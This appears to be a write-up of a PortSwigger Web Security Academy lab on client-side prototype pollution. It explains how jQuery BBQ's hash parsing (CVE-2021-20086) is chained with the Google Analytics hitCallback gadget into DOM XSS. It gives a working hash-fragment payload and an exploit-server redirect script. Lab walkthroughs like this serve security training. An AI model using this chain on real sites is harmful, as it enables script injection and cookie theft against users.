PortSwigger — 2026.01.10

Client-Side Prototype Pollution in Third-Party Libraries

PortSwigger Prototype Pollution to DOM XSS (library gadget chain) medium

Platform: PortSwigger Web Security Academy Vulnerability: Client-side Prototype Pollution via Third-Party Libraries Difficulty: Practitioner


Overview

This lab uses vulnerable third-party JavaScript libraries that allow prototype pollution via URL hash fragments. The challenge is to identify the pollution source and a suitable gadget without using DOM Invader.


Reconnaissance

Script Analysis

Identified the following scripts loaded on the page:

<script type="text/javascript" src='/resources/js/jquery_1-7-1.js'></script>
<script type="text/javascript" src='/resources/js/jquery_ba_bbq.js'></script>
<script type="text/javascript" src='resources/js/ga.js'></script>

Plus custom application code in store.js:

$(window).bind('hashchange', function(e) {
    console.log('Hash Changed ' + location.hash);
    changeCategory($.bbq.getState('cat'));
});

Research Phase (Without DOM Invader)

Since DOM Invader is a paid Burp Suite Pro feature, used web search to identify known vulnerabilities.

Finding the Pollution Source

Search: “jQuery BBQ prototype pollution” Result: CVE-2021-20086 - jQuery BBQ’s $.bbq.getState() and $.deparam() functions are vulnerable to prototype pollution when parsing hash fragments.

Key Sources:

  • Snyk Vulnerability Database: https://snyk.io/vuln/SNYK-JS-JQUERYBBQ-1062044
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2021-20086

Finding the Gadget

Search: “Google Analytics prototype pollution gadget hitCallback” Result: Google Analytics (ga.js) contains a known gadget - the hitCallback property flows into setTimeout(), which acts as an eval sink when given a string argument.

Key Sources:

  • BlackFan’s Client-Side Prototype Pollution research
  • PortSwigger Prototype Pollution gadgets documentation

Technical Analysis

Pollution Source: jQuery BBQ

The $.bbq.getState() function parses URL hash fragments and is vulnerable to prototype pollution. Unlike query string pollution (using ?), this uses hash fragments (using #).

Vulnerable pattern:

#__proto__[property]=value

Gadget: Google Analytics hitCallback

Google Analytics checks for a hitCallback property and passes it to setTimeout():

// Simplified - actual code is minified
if (config.hitCallback) {
    setTimeout(config.hitCallback, ...);
}

When setTimeout receives a string as its first argument, it evaluates it like eval() - a classic JavaScript sink.


Exploitation

Payload Construction

#__proto__[hitCallback]=alert(document.cookie)

How it works:

  1. jQuery BBQ parses the hash fragment
  2. __proto__[hitCallback] pollutes Object.prototype.hitCallback
  3. When Google Analytics runs, it inherits hitCallback from the prototype
  4. setTimeout("alert(document.cookie)", ...) executes the payload

Exploit Server Delivery

To deliver to the victim, used the exploit server with a redirect:

<script>window.location='https://TARGET-ID.web-security-academy.net/#__proto__[hitCallback]=alert(document.cookie)'</script>

Note: Don’t forget the quotes around the URL string! JavaScript needs the URL as a string value.


Key Learnings

  1. Research methodology - When DOM Invader isn’t available, search for CVEs and known gadgets in third-party libraries
  2. jQuery BBQ (CVE-2021-20086) - Common pollution source in legacy applications using hash-based routing
  3. Google Analytics hitCallback - Well-documented gadget that flows to setTimeout sink
  4. Hash vs Query String - Different libraries parse different URL components (# vs ?)
  5. setTimeout as eval - When given a string argument, setTimeout evaluates it as code

References

  • CVE-2021-20086: https://nvd.nist.gov/vuln/detail/CVE-2021-20086
  • Snyk jQuery BBQ Advisory: https://snyk.io/vuln/SNYK-JS-JQUERYBBQ-1062044
  • PortSwigger Prototype Pollution: https://portswigger.net/web-security/prototype-pollution
#prototype-pollution #dom-xss #jquery-bbq #cve-2021-20086 #google-analytics #portswigger #webapp